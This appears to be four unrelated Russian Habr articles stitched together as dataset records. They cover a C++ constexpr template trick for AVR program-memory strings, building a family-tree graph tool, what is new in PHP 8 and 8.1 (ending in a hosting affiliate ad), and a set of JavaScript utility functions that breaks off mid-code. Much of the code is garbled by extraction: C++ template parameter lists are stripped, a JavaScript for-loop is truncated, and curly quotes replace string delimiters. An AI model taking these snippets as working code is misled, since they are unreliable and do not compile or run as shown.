К счастью с приходом с++11 и constexpr функций у нас получилось избавиться от лишних символов, используя класс селектор символов. Для краткости он называется \_CS (Char Selector).
```
struct _CS {
template
constexpr \_CS(const char (&s)[n]) :s(s), l(n){}
constexpr char operator [](size\_t i){return i < l ?s[i] :0;}
const char \*s = 0;
const size\_t l = 0;
};
```
Код этого класса я давненько подсмотрел на Хабре, но не могу сейчас найти где именно (спасибо тебе автор).
Код макроса разделения на символы стал проще:
```
#define SPLIT_TO_CHAR(STR) _CS(STR)[0], _CS(STR)[1], …, _CS(STR)[N-1]
```
Теперь осталось собрать все вместе:
```
// Базовый шаблон строки
templatestruct \_PStr;
// Вспомогательные макросы, раскрывающие последовательность пронумерованных элементов. В примере я ограничился 10 элементами
#define ARGS01(P, S) P##00 S
#define ARGS02(P, S) ARGS01(P, S),P##01 S
#define ARGS03(P, S) ARGS02(P, S),P##02 S
#define ARGS04(P, S) ARGS03(P, S),P##03 S
#define ARGS05(P, S) ARGS04(P, S),P##04 S
#define ARGS06(P, S) ARGS05(P, S),P##05 S
#define ARGS07(P, S) ARGS06(P, S),P##06 S
#define ARGS08(P, S) ARGS07(P, S),P##07 S
#define ARGS09(P, S) ARGS08(P, S),P##08 S
#define ARGS0A(P, S) ARGS09(P, S),P##09 S
// Специализации класса для определенной длины строки (от 0 до 10 символов). Строка гарантированно будет завершена 0.
templatestruct \_PStr<0x00, L...>{static const char PROGMEM v[];};
templateconst char \_PStr<0x00, L...>::v[] = {0};
templatestruct \_PStr<0x01, ARGS01(\_,), L...>{static const char PROGMEM v[];};
templateconst char \_PStr<0x01, ARGS01(\_,), L...>::v[] = {ARGS01(\_,), 0};
templatestruct \_PStr<0x02, ARGS02(\_,), L...>{static const char PROGMEM v[];};
templateconst char \_PStr<0x02, ARGS02(\_,), L...>::v[] = {ARGS02(\_,), 0};
templatestruct \_PStr<0x03, ARGS03(\_,), L...>{static const char PROGMEM v[];};
templateconst char \_PStr<0x03, ARGS03(\_,), L...>::v[] = {ARGS03(\_,), 0};
templatestruct \_PStr<0x04, ARGS04(\_,), L...>{static const char PROGMEM v[];};
templateconst char \_PStr<0x04, ARGS04(\_,), L...>::v[] = {ARGS04(\_,), 0};
templatestruct \_PStr<0x05, ARGS05(\_,), L...>{static const char PROGMEM v[];};
templateconst char \_PStr<0x05, ARGS05(\_,), L...>::v[] = {ARGS05(\_,), 0};
templatestruct \_PStr<0x06, ARGS06(\_,), L...>{static const char PROGMEM v[];};
templateconst char \_PStr<0x06, ARGS06(\_,), L...>::v[] = {ARGS06(\_,), 0};
templatestruct \_PStr<0x07, ARGS07(\_,), L...>{static const char PROGMEM v[];};
templateconst char \_PStr<0x07, ARGS07(\_,), L...>::v[] = {ARGS07(\_,), 0};
templatestruct \_PStr<0x08, ARGS08(\_,), L...>{static const char PROGMEM v[];};
templateconst char \_PStr<0x08, ARGS08(\_,), L...>::v[] = {ARGS08(\_,), 0};
templatestruct \_PStr<0x09, ARGS09(\_,), L...>{static const char PROGMEM v[];};
templateconst char \_PStr<0x09, ARGS09(\_,), L...>::v[] = {ARGS09(\_,), 0};
templatestruct \_PStr<0x0A, ARGS0A(\_,), L...>{static const char PROGMEM v[];};
templateconst char \_PStr<0x0A, ARGS0A(\_,), L...>::v[] = {ARGS0A(\_,), 0};
// Селектор символа
struct \_CS {
template
constexpr \_CS(const char (&s)[n]) :s(s), l(n){}
constexpr char operator [](size\_t i){return i < l ?s[i] :0;}
const char \*s = 0;
const size\_t l = 0;
};
// Вспомогательный макрос для экранирования запятых
#define STR\_UNION(...) \_\_VA\_ARGS\_\_
// Главный макрос, возвращающий указатель на строку, расположенную в кодовой памяти. SPS = StaticProgramString.
#define SPS(T) STR\_UNION(\_PStr<\_CS(T).l - 1, ARGS0A(\_CS(T)[0x, ])>::v)
```
Разберем по элементам главный макрос:
* \_Pstr::v – указатель на строку длиной S и содержащую символы L,
* \_CS(T).l – 1 — размер исходной строки без нуля в конце,
* ARGS0A(\_CS(T)[0x, ]) — макрос, забирающий первые 10 символов из исходной строки.
Для каждой строки будет выбрана своя специализация шаблона, подходящая по длине строки.
---
Подводя итоги я хотел бы сказать, что с помощью этого макроса нам удалось реализовать не только получение указателя на строку в коде, независимо от того где этот макрос применяется, но и еще два явных преимущества перед PSTR:
* Для каждой уникальной строки, созданной с помощью SPS будет создан только один экземпляр строки, ведь статическое поля шаблона создается только один раз для всего проекта. Конечно, современные компиляторы могут оптимизировать использование строк, но только в рамках компиляции одного файла cpp.
* Строка создается с глобально доступным именем, что необходимо для использования в качестве параметра шаблона.
```
template
struct NamedType {
T value;
static const char \*getName() {
return name;
}
};
NamedType var1 = {3};
```
Эти шаблонные классы позволили нам собирать метаданные о переменных в проекте, что позволило нам упростить разработку на порядок, одновременно улучшив пользовательский интерфейс и гибкость настройки. Но это уже другая история. | https://habr.com/ru/post/311874/ | null | ru | null |
# Как я древо семьи строил
В ноябре 2018 года меня вновь посетила идея создания древа моей семьи. Особенно на это подтолкнула [оцифровка архивов Великой Отечественной Войны](https://pamyat-naroda.ru/), в которой я нашел своих предков:
* [Гайворонский Гавриил Степанович](https://pamyat-naroda.ru/heroes/memorial-chelovek_donesenie51193699)
* [Катин Николай Иванович](https://pamyat-naroda.ru/heroes/podvig-chelovek_yubileinaya_kartoteka1522940884)
* [Катин Иван Иванович](https://pamyat-naroda.ru/heroes/podvig-chelovek_nagrazhdenie80374989/)
* [Хижняк Василий Андреевич](https://pamyat-naroda.ru/heroes/podvig-chelovek_kartoteka1106008821/)
* [Хижняк Иван Андреевич](https://pamyat-naroda.ru/heroes/memorial-chelovek_donesenie1958772)
* [Жованник Гавриил Григорьевич](https://pamyat-naroda.ru/heroes/memorial-chelovek_dopolnitelnoe_donesenie58093713/)
До этого я пытался как-то записать все на бумаге, но буквально через месяц это было утеряно. В связи с чем в этот раз я решил хранить данные в электронном формате.
Прежде чем делать что-то своё, я:
1. Определил **ряд критериев** к сервису:
1. Возможность импорта/экспорта всех данных в простом виде (возможность создания бекапа и независимость от одного сервиса)
2. Возможность создания сложных структур (не только вертикальные генеалогические линии, но и горизонтальные, также “множенство”, “многомужество” и другие ситуации)
3. “Приемлемое” отображение в виде графа
2. **Изучил всевозможные аналоги** на рынке
К сожалению я не нашел удовлетворяющего критериям сервиса. Пример сервиса:
Подавляющая масса была нацелена на создание простых вертикальных деревьев, и, конечно, не учитывала горизонтальные связи + сложные ситуации, с которыми я и столкнулся, о чем напишу далее.
В последствии я решил сделать универсальный инструмент для хранения, отображения реальной картины родословной.
### Модель данных
Для начала я принял соглашение о том, что связью будет являться указание на родителя. Тк это обуславливается природой людей. И всегда у каждого человека будет мать и отец. Удивительно, но даже тут есть исключительные ситуации о которых я напишу ниже.
Свое решение я начал с создания примитивной структуры данных, и сбора данных в таблицу `Numbers` (Excel).
| Поле | Ключ |
| --- | --- |
| ID | key |
| Sex | s |
| Last name or maiden name | surn |
| Married name | marn |
| First name | firn |
| Second name | secn |
| Date of birthday | bday |
| Date of death | dday |
| Father ID | f |
| Mother ID | m |
| Comment | com |
В этой модели данных единицой является некоторый человек с уникальным ID, у него могут быть ссылки на ID матери и отца. Также у каждого элемента есть поля которые его описывают: имя, дата рождения и смерти, пол, комментарий для дополнительной информации.
### Отображение графа
До этого в университете, в 2013 году в рамках хакатона и курсовой работы, я делал сервис для поиска родственных связей по базе жителей Самарской области. Мой интерес представляло – по данным места жительства, дате рождения, фамилии, имени и отчеству определить с некоторой вероятностью и отобразить на графе какую-то семью. Тогда для отображения графа я использовал библиотеку [sigmajs](http://sigmajs.org/). Эта библиотека написана на JavaScript и она удовлетворяла моему видению того, что я собирался сделать.
#### День 1
Просто перебрав в голове всех ближайших родственников, у меня получилось 26 человек. Конечно информация была не полной, но это был 1 день, когда я начал.
#### День 2
После я напряг бабушку вспоминать и узнавать всех наших предков и родственников, и начал всё активно записывать в свою таблицу. Уже к ночи следующего дня мы записали информацию о ≈100 людях. А также я добавил заполнение черным цветом, узлов умерших людей.
#### День 3
После чего мы начали показывать эту картинку нашим родственникам и просить их рассказать о тех, кого мы не знаем. Благодаря обильному общению через мессенджеры и телефонные звонки к следующему вечеру мы собрали информацию ≈200 наших родственниках.
Хочу заметить, что на графе отображены ближашие родственники по горизонтали и их ближайшие предки, которых они помнят. Что естественно является не полной картиной при построении вертикального древа. Но уже на этом этапе стало понятно, что используемая библиотека построения графа не подходит для отображения дерева.
#### Через 6 дней
Буквально через 6 дней я попробовал с десяток разных библиотек на JS и выбрал библиотеку [GoJS](https://github.com/NorthwoodsSoftware/GoJS). Одна из причин по которой я это сделал было то, что я нашел пример для построения графа с автоматической визуализацией поколений. Это позволяло автоматически расположить людей на графе, а также визуализировать связи под прямым углом.
Однако после этого и начали проступать основные проблемы отображения, которые раньше были не видны.
> Дальнейший поиск информации о родственниках легко продолжать горизонтально (по своему поколению), однако чтобы искать вертикальные связи (искать своих предков) нужно заниматься изучением архивов, баз данных, кладбищь, изучением родословных и фамилий. Вот кстати два сервиса которые могут в этом помочь: [vgd.ru](https://vgd.ru/) и [geno.ru](https://geno.ru/).
>
>
**GoJS**
Нужно заметить, что `GoJS` подошла на стадии создания прототипа, однако ввиду [неадекватной цены лицензии](https://www.nwoods.com/sales/index.html) в 3495$ за 3 года, использовать её в конечном решении я не планирую. Однако в её примерах содержатся неплохие алгоритмы и принципы, которые можно позаимствовать.
### Проблемы отображения графа на плоскости
Для начала, если не рассматривать сложных случаев, стандартные алгоритмы `GoJS` для расположения вершин не справлялись:
1. При рисовании ребер под 90 градусов многие ребра накладывались друг на друга, и не сдвинув ребра, было не понять откуда какое выходит. Поэтому я сразу исправил их рисование на прямые линии.
2. Некоторые связи улетали не в те поколения. Дети как бы перепрыгивали сильно вниз.
3. Граф переплетался и накладывался, даже в тех случаях, где можно было этого не делать.
Стало очевидно, что нужны правила отображения такого графа. И вообще задача **создания алгоритма расположения вершин – основная работа**.
### Интерфейс пользователя
Также я добавил функции для импорта в формате `.csv`, также экспорта в `.svg`, `.json`, а хранение данных перенес в `LocalStorage` браузера, таким образом перезагружая страницу, данные не терялись и отпала необходимость использовать БД.
А также я понял, что:
1. Добавление людей осуществлять в `Numbers` не удобно, нужен интегрированный веб-интерфейс.
2. Нужен поиск по людям.
3. Нужна функция подсветки маршрута от одного человека к другому.
4. Нужно, чтобы при нажатии на элемент отображается все его “прямое” дерево вверх и вниз.
5. Нужна возможность добавлять другую информацию, например простой текст, ссылки, фотографии.
Эти задачи я пока отложил и начал думать про реализацию нормального отображения графа, а для этого **сначала нужно побороть теорию**.
### Алгоритм отображения
Писать алгоритм я начал с задания ограничений и изучения теории.
#### Ограничения
Наука, занимающаяся выявлением родословных закономерностей, обобщением сведений о происхождении человека, его семьи, называется – `генеалогия`. Очень хорошо о ней написано в [этой статье](https://yulianovozhilova.ru/genealogya/), я же изложу выжимку.
Генеалогия содержит 3 закона:
1. На каждые 100 лет приходится жизнь трех поколений или чуть больше, если родждение детей было в возрасте порядка 18 лет. Границы этого обуславливаются репродуктивным возрастом.
2. Удваивание числа предков в каждом поколении (очевидно, что у каждого человека есть два родителя).
3. Количество предков убывает. Предположительно одна и та же персона в генеалогическом древе может встречаться несколько раз. Браки между дальними родственниками и «однофамильцами», произошедшими от одного общего предка, являются отнюдь не редкостью.
Также есть много материалов по построению генетических деревьев все это ищется по слову `genogram`. Основная часть этих материалов про построение этих деревьев с помощью софта `EdrawMax`:
* [ссылка 1](https://www.edrawsoft.com/genogram/how-to-create-genogram.php): EdrawMax, общая информация о Genogram’ах
* [ссылка 2](https://www.edrawsoft.com/genogram-definition.html): EdrawMax, законы и обозначения принятые для Genogram
* [ссылка 3](https://www.youtube.com/watch?v=nGXEnLrR3EY): лекция Deena Shelton “Genogram Instructions - Marriage and Family”
* [ссылка 4](https://www.youtube.com/watch?v=bdlunUM3Rdc): видеоурок на тему “How to draw a genogram”
* [ссылка 5](https://www.youtube.com/watch?v=HA9aCetRSTw): видеоурок “Addams Family Genogram”
* [ссылка 6](https://www.youtube.com/watch?v=wH-uP1UiJWY): лекция Wilma Schroeder “How to Draw Genograms”
Также я принял собственные правила отображения:
1. **Строятся только кровные связи**, от ребёнка до родителей (отсутствуют связи от родителей до ребенка, связи типа братья, сестры, дедушки, бабушки).
2. Если один **родитель неизвестен используется нода-заглушка** (чтобы отображение было симметричным). Связь исходящая от ребенка не может указывать только на одного родителя, тк она соединяется со связью между родителями.
3. Если **оба родителя неизвестны, родители не отображаются**.
4. Связь выходит из ребенка сверху, а входит снизу (от его ребенка). Можно также добавить стрелку в сторону ребенка, хотя не обязательно тк они должны быть разнесены по вертикале.
5. По возможности поколения должны находиться на отдельных уровнях.
6. По возможности ребра не должны пересекаться. В идеале граф должен быть планарный.
#### Исключительные ситуации
Для решения проблем планарного отображения рассмотрим несколько ситуаций:
1. [Инцест](https://ru.wikipedia.org/wiki/%D0%98%D0%BD%D1%86%D0%B5%D1%81%D1%82) (1 случай - межпоколений)
Касаемо графа справа, очень долго думал через сколько колен максимальна возможна эта афера. Но не стал визуализировать, остановился на одном.
2. [Инцест](https://ru.wikipedia.org/wiki/%D0%98%D0%BD%D1%86%D0%B5%D1%81%D1%82) (2 случай - внутрипоколения)
3. Много/мульти-женство/-мужество
Такой пример достаточно распространен в жизни, и встречается в моем древе:
4. Однополые семьи, усыновление (удочерение), искусственное зачатие, смена пола, замороженный генетический материал – те случаи, которые могут сломать вообще всю логику.
#### Ограничение отображения
Вместе с тем как быстро граф расширяется в ширь, стало понятно, что отображать такую структуру становится сложно. Нужно как-то её ограничивать. Для этого я придумал следующий алгоритм
1. **PHASE “A”** Для узла-точки-входа отображаем всех прямых предков.
2. **PHASE “B”** Для всех элементов на графе отображаем всех прямых потомков, при этом для каждого потомка отображаем **вторых родителей** (на графе отмечены серым кружком).
3. Для всех **вторых родителей** повторяем **PHASE “A”**
4. Повторяем **PHASE “B”**
5. Переходим к 3.
---
Это первая статья описывающая часть моей работы, за которую я:
1. Изучил существующие на рынке решения.
2. Протестировал некоторое количество библиотек рисования графа.
3. Собрал информацию о ≈300 своих родственниках и предках.
4. Сделал прототип приложения с минимальными удовлетворяющими функциями. И выявил основные направления по дальнейшей разработке.
5. Рассмотрел область науки изучающую родственные связи. Вывел ряд правил отображения, исключительных ситуаций и ограничений отображения графа.
> Для тех, кто дочитал **бонусом прилагаю**[**полученный прототип**](https://urpylka.com/posts/post-14/sample/).
> PS работает не во всех браузерах, лучше просматривать с компьютера.
> При нажатии на ссылку будет всплывающее окно, если согласиться, то загрузится `JSON` файл с моим деревом (отображение происходит не моментально, обычно это занимает ≈2 секунды).
> Также можно загрузить своё древо, в формате `csv` или `json`, согласно модели данных выше.
>
>
Спасибо за прочтение. И будет круто, если вы дадите обратную связь. | https://habr.com/ru/post/532894/ | null | ru | null |
# От версии 8 к 8.1: новый виток развития PHP
Я уже несколько раз писал о том, что происходило с PHP за год и всегда с нетерпением ждал следующего года. Я делал это в [2020-м](https://stitcher.io/blog/php-in-2020) и [2019-м](https://stitcher.io/blog/php-in-2019). И продолжаю делать в 2021-м.
Я всегда повторяю: PHP это уже не тот язык, которым он был десять лет назад, и мы очень этому рады. Сегодня это быстрый и надёжный язык, позволяющий разрабатывать сложные и масштабируемые приложения. Давайте обсудим некоторые из наиболее заметных изменений, которые появились за год — как в самом языке, так и в экосистеме.
От версии 8 к 8.1
-----------------
Новая мажорная версия [PHP 8](https://stitcher.io/blog/new-in-php-8) появилась в конце прошлого года. Я уже много об этом писал, так что не буду здесь повторяться. Как всегда, его производительность становится всё лучше и лучше. Этот факт подтверждают [тесты](https://kinsta.com/blog/php-benchmarks/) от Kinsta.
Во многом, это заслуга компилятора [JIT](https://stitcher.io/blog/jit-in-real-life-web-applications) (Just in time, «на лету»). Он действительно улучшает производительность (что особенно справедливо для математических операций). Но счастье было бы не полным, если бы ранее в PHP 7.4 не появилась [предзагрузка](https://stitcher.io/blog/php-preload-benchmarks). Она компилирует исходные файлы в опкоды и связывает зависимые классы, трейты и интерфейсы. Такой «скомпилированный» фрагмент исполняемого кода (то есть кода, который может использовать PHP-интерпретатор) сохраняется в памяти и становится доступен для всех запросов. Это положительно влияет на производительность, если вы, конечно, не используете виртуальный хостинг.
Стоит также упомянуть [атрибуты](https://stitcher.io/blog/attributes-in-php-8) (они же «аннотации»), [именованные параметры](https://stitcher.io/blog/php-8-named-arguments) (Named Arguments) и [объявление свойств в конструкторе](https://stitcher.io/blog/constructor-promotion-in-php-8) (Constructor Property Promotion), поскольку они определённо способствовали тому, что 8-я версия PHP получилась настолько удачной.
Не останавливаясь на достигнутом, PHP Core Team уже работает над следующей версией, [PHP 8.1](https://stitcher.io/blog/new-in-php-81), которая должна выйти к концу 2021 года. На данный момент больше всего заслуживают внимания перечисления ([enums](https://stitcher.io/blog/php-enums)) и файберы ([fibers](https://stitcher.io/blog/fibers-with-a-grain-of-salt), зелёные потоки). Я ещё буду говорить о них позже в этой статье.
Год за годом команда выдаёт стабильные версии с множеством фич и других нововведений, улучшающих жизнь PHP-разработчикам. Среди прочего, в этот раз был усовершенствован процесс миграции. Я достаточно быстро перетащил некоторые из моих собственных проектов с PHP 7.4 на PHP 8: мне потребовалось около часа на каждый проект. Так что, у нас осталось ещё меньше поводов откладывать миграцию.
Система типов
-------------
Наконец-то в PHP добавят перечисления.
```
enum Status {
case Pending;
case Active;
case Archived;
}
```
Ниже — пример их использования:
```
class Order
{
public function __construct(
private Status $status = Status::Pending;
) {}
public function setStatus(Status $status): void
{
// …
}
}
$order->setStatus(Status::Active);
```
Кроме того, появился RFC-запрос на добавление в язык нового типа [never](https://stitcher.io/blog/new-in-php-81#new-never-type-rfc).
Использование never будет означать, что функция с таким типом возвращаемого значения не сможет вернуть результат и должна прервать выполнение программы — выбросить исключение, вызвать exit или сделать это каким-то другим способом.
```
function dd(mixed $input): never
{
// dump
exit;
}
```
Отмечу, что never принципиально отличается от void: функция с возвращаемым значением типа void способна вернуть результат, а значит, прерывать работу программы нет необходимости. Такое нововведение может показаться слегка необычным, но оно обязательно найдёт применение в статическом анализе кода.
И ещё пару слов о статическом анализе: PhpStorm [добавил](https://blog.jetbrains.com/phpstorm/2020/07/phpstan-and-psalm-support-coming-to-phpstorm/) встроенную поддержку анализаторов [Psalm](https://psalm.dev/) и [PhpStan](https://github.com/phpstan/phpstan). После этого количество пользователей этих двух продуктов должно увеличиться.
К сожалению, дженерики (generics) по-прежнему нативно не поддерживаются. Есть несколько серьёзных проблем. В первую очередь, не забывайте, что PHP — это всё ещё язык с динамической типизацией. З[десь](https://github.com/PHPGenerics/php-generics-rfc/issues/45) Nikita уже писал о связанных с этим проблемах. На мой взгляд, самый простой выход — нативно реализовать поддержку лишь так называемых [runtime-erased generics](https://www.reddit.com/r/PHP/comments/iuhtgd/ive_proposed_an_approach_to_generics_on_internals/), добавив в язык новый синтаксис без применения каких-либо дополнительных проверок типа во время выполнения и полагаясь на статический анализ. Однако, для этого требуется больше, чем просто техническое решение: нужно изменить мышление участников PHP-сообщества в целом. Может быть, когда-нибудь это станет возможным. Когда-нибудь.
Асинхронный PHP
---------------
Буквально недавно мы узнали, что в PHP 8.1 появятся корутины, также известные как файберы.
Простой пример использования файберов:
```
$fiber = new Fiber(function (): void {
$valueAfterResuming = Fiber::suspend('after suspending');
// …
});
$valueAfterSuspending = $fiber->start();
$fiber->resume('after resuming');
```
Хотя одних только файберов недостаточно для того, чтобы язык стал по-настоящему асинхронным. Они могут лишь стать маленькой шестерёнкой в «большой асинхронной машине».
Однако, соответствующий RFC снова вызвал интерес у «автолюбителей асинхронности», чему мы можем только радоваться. Популярность асинхронных фреймворков, таких как [Amphp](https://amphp.org/) и [ReactPHP](https://reactphp.org/), растёт: недавно Laravel [объявил](https://laravel-news.com/laravel-octane) о встроенной поддержке [Swoole](https://www.swoole.co.uk/) и [RoadRunner](https://roadrunner.dev/).
Экосистема PHP
--------------
Я не могу не вспомнить о новом релизе [Composer 2.0](https://blog.packagist.com/composer-2-0-is-now-available/), который вышел в октябре 2020 года. В этой версии есть несколько улучшений UX, но, что важнее всего, она демонстрирует большой прирост производительности. В условиях чистой установки прирост достигает 300%. Разница очень заметна на боевых проектах. Не зря пакетный менеджер Composer де-факто стал стандартом для PHP-разработчиков.
Мне нравится время от времени оценивать состояние экосистемы PHP, просматривая количество пакетов, доступных для скачивания. В прошлом году я говорил о ±25 миллионах загрузок в день. Сегодня это число увеличилось более чем вдвое, и мы уже видим ±60 миллионов загрузок в день.
Наконец, взгляните на этот график, в котором показано, как менялось количество доступных пакетов / версий с течением времени. Его можно найти на сайте [Packagist.com](https://packagist.org/statistics). Вы можете сами оценить, как растёт экосистема. И конца этому не видно.
Дальше — больше
---------------
Давайте подытожим, пройдясь по всему, что было добавлено в PHP за последние годы. Если вы не следите за его развитием, материалы из списка помогут восполнить этот пробел. Я думаю, он наглядно показывает рост сообщества и команды разработчиков за последние годы. Уверен, что дальше будет ещё лучше.
* Перечисления ([Enums](https://stitcher.io/blog/php-enums))
* Файберы ([Fibers](https://stitcher.io/blog/fibers-with-a-grain-of-salt))
* Атрибуты ([Attributes](https://stitcher.io/blog/attributes-in-php-8))
* Именованные аргументы ([Named Arguments](https://stitcher.io/blog/php-8-named-arguments))
* Оператор [Match](https://stitcher.io/blog/php-8-match-or-switch)
* Объявление свойств в конструкторе ([Constructor Property Promotion](https://stitcher.io/blog/constructor-promotion-in-php-8))
* Короткие замыкания ([Short closures](https://stitcher.io/blog/short-closures-in-php))
* Нулевой оператор объединения ([Null coalescing operator](https://stitcher.io/blog/shorthand-comparisons-in-php#null-coalescing-operator))
* Трейты ([Traits](https://www.php.net/manual/en/language.oop5.traits.php))
* Типизированные свойства ([Typed properties](https://stitcher.io/blog/typed-properties-in-php-74))
* Оператор распаковки ([Spread operator](https://wiki.php.net/rfc/argument_unpacking))
* Компилятор [JIT](https://stitcher.io/blog/php-jit)
* Объявление возвращаемого типа ([Return type declarations](https://www.php.net/manual/en/functions.returning-values.php#functions.returning-values.type-declaration))
* Генераторы ([Generators](https://wiki.php.net/rfc/generators))
* Foreign Function Interface ([FFI](https://wiki.php.net/rfc/ffi))
* [И многое другое](https://stitcher.io/blog/new-in-php-8)
Так что, PHP жив и чувствует себя очень даже хорошо. С каждым годом я всё больше доволен развитием языка и, конечно же, буду использовать его ещё многие годы!
---
Наши [серверы](https://macloud.ru/?partner=4189mjxpzx) можно использовать для разработки на PHP.
Зарегистрируйтесь по ссылке выше или кликнув на баннер и получите 10% скидку на первый месяц аренды сервера любой конфигурации!
[](https://macloud.ru/?partner=4189mjxpzx&utm_source=habr&utm_medium=perevod&utm_campaign=grigri) | https://habr.com/ru/post/554008/ | null | ru | null |
# 16 действительно полезных решений для JavaScript
© [shamansir.wordpress.com](http://shamansir.wordpress.com/2007/08/12/16-%D0%B4%D0%B5%D0%B9%D1%81%D1%82%D0%B2%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D0%BE-%D0%BF%D0%BE%D0%BB%D0%B5%D0%B7%D0%BD%D1%8B%D1%85-%D1%80%D0%B5%D1%88%D0%B5%D0%BD%D0%B8%D0%B9-%D0%B4%D0%BB%D1%8F-javascr/)
Представляю вам набор функций, которые у меня лежат в отдельном файле utils.js — это функции, которые я использую чаще всего. Они стараются быть кроссбраузерными и проверены на IE6/7, FF2 и Safari 2 и на боевой, сложной системе, в XHTML документах. Должны, по идее, работать, и на других, но не очень старых версиях браузеров — проверку браузера я использовал только в исключительных случаях. Некоторая часть из них, конечно же, просто нарыта на просторах интернета (где — обычно указано) и заимствована ввиду открытости, а большая часть — сконструирована из многих ресурсов и своих идей (и советов коллег), дабы работать на ура — поскольку часто в разных скриптах не учитываются разные тонкости, которые, тем не менее — при ближайшем рассмотрении — оказываются общностями :), ну и быть довольно читабельными.
Фукнции разделены тематически:
**ООП** — *обеспечение (или, вернее сказать — эмуляция) возможности использовать принципы ООП в JavaScript*
**Объектная модель JS** — *использование и расширение встроенных объектов JS*
**Определение браузера** — *чтобы использовать в тех редких случаях, когда это все-таки неизбежно необходимо*
**Координаты / Позициионирование** — *вычисление координат и позиционирование объектов — ввиду того, что это часто довольно хитрая штука*
**DOM** — *работа с объектной моделью документа*
**AJAX** — *вспомогательные функции для AJAX — так как это средство часто применимо*
**Логгинг** — *иногда без него просто не обойтись*
*1.* Первый блок — набор из трех функций (две из которых пустые), позволяющих применять (эмулировать?) все три принципа **ООП в JavaScript**. Из нескольких предложенных на [AJAXPath](http://www.ajaxpath.com/javascript-inheritance "JavaScript Inheritance on AJAXPath") и на [AJAXPatterns](http://ajaxpatterns.org/Javascript_Inheritance "JavaScript Inheritance on AJAXPatterns") вариантов я выбрал именно этот ввиду его одновременной понятности и быстрой скорости выполнения и немного его видоизменил, так — чтобы отдельно объявленные свойства воспринимались как статические константы.
> function Class() { };
>
>
>
> Class.prototype.construct = function() { };
>
>
>
> Class.extend = function(def) {
>
>
>
> var classDef = function() {
>
> if (arguments[0] !== Class) {
>
> this.construct.apply(this, arguments);
>
> }
>
> };
>
>
>
> var proto = new this(Class);
>
> var superClass = this.prototype;
>
>
>
> for (var n in def) {
>
> var item = def[n];
>
> if (item instanceof Function) item.$ = superClass;
>
> else classDef[n] = item;
>
> proto[n] = item;
>
> }
>
>
>
> classDef.prototype = proto;
>
> classDef.extend = this.extend;
>
>
>
> return classDef;
>
> };\* This source code was highlighted with [Source Code Highlighter](http://poison.qsh.ru).
*2.* Следующая функция — простая но изящная — полезна в сочетании с предыдущим набором — она **создает функцию-ссылку на метод**:
> function createMethodReference(object, methodName) {
>
> return function () {
>
> return object[methodName].apply(object, arguments);
>
> };
>
> }\* This source code was highlighted with [Source Code Highlighter](http://poison.qsh.ru).
Теперь можно, например, сделать так:
> var ScrollingHandler = Class.extend({
>
>
>
> construct:
>
> function(elementId) {
>
> this.\_elementId = elementId;
>
> this.assignListener();
>
> },
>
>
>
> assignListener:
>
> function() {
>
> var scrollControlElem =
>
> document.getElementById(this.\_elementId);
>
> if (scrollControlElem) {
>
> scrollControlElem.onscroll =
>
> createMethodReference(this, "\_onElementScroll");
>
> }
>
> },
>
>
>
> \_onElementScroll:
>
> function(ev) {
>
> ev = ev || window.event;
>
> alert(«please stop scrolling,
>
> I've already got an event: „ + ev);
>
> }
>
> });
>
>
>
> var elmScrollHandler = new ScrollHandler('SomeElmId');\* This source code was highlighted with [Source Code Highlighter](http://poison.qsh.ru).
Объект этого класса можно будет ассоциировать с событием скроллинга элемента с указанным ID и совершать что-либо по этому случаю.
### Объектная модель JS
*3.* Нижеприведенная функция **клонирует** любой **объект** вместе со всеми его свойствами:
> function cloneObj(objToClone) {
>
> var clone = [];
>
> for (i in objToClone) {
>
> clone[i] = objToClone[i];
>
> }
>
> return clone;
>
> }\* This source code was highlighted with [Source Code Highlighter](http://poison.qsh.ru).
Использование — простейшее до невозможности:
> var clonedObj = cloneObj(objToClone);\* This source code was highlighted with [Source Code Highlighter](http://poison.qsh.ru).
*4.* **Конвертер объектов**, следующая функция, позволяет удобно использовать всяческие условные (и претендующие ими быть ) конструкции вида
> if (tablet.toLowerCase() in oc(['cialis','mevacor','zocor'])) { alert(’I will not!’) };\* This source code was highlighted with [Source Code Highlighter](http://poison.qsh.ru).
Код заимствован [отсюда](http://snook.ca/archives/javascript/testing_for_a_v/).
> function oc(a) {
>
> var o = {};
>
> for(var i=0;i
> o[a[i]]=”;
>
> }
>
> return o;
>
> }
>
> \* This source code was highlighted with [Source Code Highlighter](http://poison.qsh.ru).
Для примера возьмем ситуацию, когда сначала требуется определить, входит ли объект в какое-либо множество одиночных объектов, а затем — не входит ли он в сочетании с другим объектом в другое множество пар объектов. Допустим, на вечеринку пускают одиночек только с определенными именами, либо пары из списка с позволенными сочетаниями имен:
> function isPersonAllowed(maleName, femaleName) {
>
> var pairsAllowed = new Array([ “John», «Yoko» ],
>
> [ «Bill», «Monica» ], [ «Phil», «Sue» ],
>
> [ «Jason», «Harrison» ], [ «Adam», «Eve» ]);
>
> var singlesAllowed = new Array(”Michael”, “Pete”, “John”,
>
> “Dave”, “Matthew”);
>
> return (femaleName
>
> ? ([maleName, femaleName] in oc(pairsAllowed))
>
> : (maleName in oc(singlesAllowed)));
>
> }
>
>
>
> alert(isPersonAllowed(”Jack”)); // false
>
> alert(isPersonAllowed(”Adam”)); // false
>
> alert(isPersonAllowed(”John”)); // true
>
> alert(isPersonAllowed(”Phil”,”Marlo”)); // false
>
> alert(isPersonAllowed(”Jason”,”Harrison”)); // true
>
> alert(isPersonAllowed(”Martin”,”Luther”)); // false\* This source code was highlighted with [Source Code Highlighter](http://poison.qsh.ru).
*5.* Функция, позволяющая создавать **хэш** сначала кажется немного излишней: объекты в JavaScript — те же хеши, но вот иногда в качестве имени проперти/ключа требуется задать значение значение переменной и тогда приходит на помощь функия Hash. (да-да, конечно же есть встроенные возможности, но так возможно просто немного очевиднее — можете исключить эту функцию из полезных, если хотите
> function Hash()
>
> {
>
> this.length = 0;
>
> this.items = new Array();
>
> for (var i = 0; i < arguments.length; i++) {
>
> this.items[arguments[i][0]] = arguments[i][1];
>
> }
>
> }\* This source code was highlighted with [Source Code Highlighter](http://poison.qsh.ru).
Доступ к элементам производится за счет свойства `items` (кстати, следует, может, в более тяжелой версии добавить `keys`):
> var Game = Class.extend({
>
> STG\_STOP: 0,
>
> STG\_START: 1,
>
> STG\_LOADING: 2,
>
> STG\_MENU: 3,
>
> STG\_PROCESS: 4,
>
>
>
> construct:
>
> function() { this.\_stage = Game.STG\_LOADING; },
>
>
>
> getStage:
>
> function() { return this.\_stage; }
>
>
>
> });
>
>
>
> var stateMap = new Hash(
>
> [ Game.STG\_START, «start» ],
>
